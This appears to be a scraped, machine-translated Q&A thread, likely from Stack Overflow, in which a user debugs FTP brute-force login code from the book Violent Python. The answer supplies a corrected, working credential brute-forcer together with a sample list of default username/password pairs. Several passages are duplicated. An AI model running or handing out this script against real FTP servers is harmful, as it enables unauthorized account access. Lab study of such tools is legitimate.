Python-通过异常传递?
下面是暴力Python书籍中的代码。这就是我在这里所做的,测试FTP的蛮力:Python-通过异常传递?,python,ftp,Python,Ftp,下面是暴力Python书籍中的代码。这就是我在这里所做的,测试FTP的蛮力: import ftplib def bruteLogin(hostname, passwdFile): pF = open(passwdFile, 'r') for line in pF.readlines(): userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('
import ftplib
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print("[+] Trying: "+userName+"/"+passWord)
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print('\n[*] ' + str(hostname) +\
' FTP Logon Succeeded: '+userName+"/"+passWord)
ftp.quit()
return (userName, passWord)
except Exception as e:
pass
print('\n[-] Could not brute force FTP credentials.')
return (None, None)
host = '192.168.95.179'
passwdFile = 'C:/Users/Andrew/Documents/Python Stuff/userpass.txt'
bruteLogin(host, passwdFile)
使用“userpass.txt”示例,包括:
administrator:password
admin:12345
root:secret
guest:guest
root:root
运行时(顺便说一下,我使用的是Python 3.4),它应该返回以下结果:
[+] Trying: administrator/password
[+] Trying: admin/12345
[+] Trying: root/secret
[+] Trying: guest/guest
[*] 192.168.95.179 FTP Logon Succeeded: guest/guest
当然,上面是成功登录的一个例子。当实际运行它时,它返回“找不到暴力FTP凭据”,但似乎只尝试文本文件的第一行,而不是像书中所描述的那样通过异常并尝试其他行。有什么想法吗 只有在循环完成后,才能打印“找不到…”行。您当前的代码在每次迭代中都会这样做,因此如果第一次尝试没有成功,那么它已经被打印出来了
此外,如果您使try
块尽可能短,并且捕获的异常尽可能具体,那么就更容易对异常进行推理。这减少了处理异常的情况数量,并允许所有其他无关异常爆炸并变得可见,从而帮助您在不希望引发异常的地方调试代码。您的代码可能如下所示:
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
ftp = ftplib.FTP(hostname) # reuse the connection
for line in pF.readlines():
userName, passWord = line.split(':', 1) # split only once, the pw may contain a :
passWord = passWord.strip('\r\n') # strip any of the two characters
print("[+] Trying: {}/{}".format(userName, passWord))
try:
ftp.login(userName, passWord)
except ftplib.error_perm:
continue
else:
print('\n[*] {} FTP Logon Succeeded: {}/{}'.format(hostname, userName, passWord))
ftp.quit()
return userName, passWord
print('\n[-] Could not brute force FTP credentials.')
return None, None
只有在循环完成后,才能打印“找不到…”行。您当前的代码在每次迭代中都会这样做,因此如果第一次尝试没有成功,那么它已经被打印出来了
此外,如果您使try
块尽可能短,并且捕获的异常尽可能具体,那么就更容易对异常进行推理。这减少了处理异常的情况数量,并允许所有其他无关异常爆炸并变得可见,从而帮助您在不希望引发异常的地方调试代码。您的代码可能如下所示:
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
ftp = ftplib.FTP(hostname) # reuse the connection
for line in pF.readlines():
userName, passWord = line.split(':', 1) # split only once, the pw may contain a :
passWord = passWord.strip('\r\n') # strip any of the two characters
print("[+] Trying: {}/{}".format(userName, passWord))
try:
ftp.login(userName, passWord)
except ftplib.error_perm:
continue
else:
print('\n[*] {} FTP Logon Succeeded: {}/{}'.format(hostname, userName, passWord))
ftp.quit()
return userName, passWord
print('\n[-] Could not brute force FTP credentials.')
return None, None
太好了,非常感谢。现在,在尝试执行代码时,我遇到一个错误“[WinError 10061]无法建立连接,因为目标计算机主动拒绝了它。”我以前使用的代码没有出现这种情况。从技术上讲,这是因为您不再捕获此异常。如果您确定它确实意味着凭据无效,则可以将其添加到
except
子句中,或者您可以得出其他错误的结论并以不同的方式进行处理,例如,退出循环时会显示一条关于服务器不合作的消息。这里的内容取决于您的用例,但这就是为什么我提倡捕捉特定的异常:只有这样,您才有机会做出这种区分。非常好,非常感谢。现在,在尝试执行代码时,我遇到一个错误“[WinError 10061]无法建立连接,因为目标计算机主动拒绝了它。”我以前使用的代码没有出现这种情况。从技术上讲,这是因为您不再捕获此异常。如果您确定它确实意味着凭据无效,则可以将其添加到except
子句中,或者您可以得出其他错误的结论并以不同的方式进行处理,例如,退出循环时会显示一条关于服务器不合作的消息。这里的内容取决于您的用例,但这就是为什么我提倡捕捉特定的异常:只有这样,您才有机会做出这种区分。